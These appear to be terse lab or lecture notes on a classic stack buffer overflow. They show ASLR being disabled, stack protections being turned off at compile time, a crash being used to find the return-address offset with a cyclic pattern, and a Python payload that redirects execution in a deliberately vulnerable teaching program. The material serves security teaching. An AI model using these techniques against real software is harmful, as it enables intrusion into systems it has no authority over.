Dan Goldsmith
So How do we represent a Process in memory?
char theString[10];
int firstNumber;
int secondNumber;
ALSR
$sudo su
[sudo] password for dang:
[root@dang-laptop Code]# echo 0 > /proc/sys/kernel/randomize_va_space
[root@dang-laptop Code]# exit
exit
apt install gcc-multlib
gcc -fno-stack-protector -m32 -g -z execstack firstOverflow.c -o firstOverflow
$ ./firstOverflow
Overflow the Buffer
AAAAAA
Off to 0x56556209
Current Memory Address is 0x56556219
Aim for 0x565561dd
Lose :(
$ ./firstOverflow
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....AAAAAAAA
Off to 0x41414141
[2] 317135 segmentation fault (core dumped) ./firstOverflow $(python -c "print('A'*200)")
cyclic 200
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x62616167 in ?? ()
dang@dang-laptop ~/Github/ComsecStacks$ cyclic -l 0x62616167
124
Aim for 0x565561dd
56 55 61 dd
python "A"*124 + "\xdd\x61\x55\x56"
./firstOverflow $(python2 -c "print('A'*124 + '\xdd\x61\x55\x56')")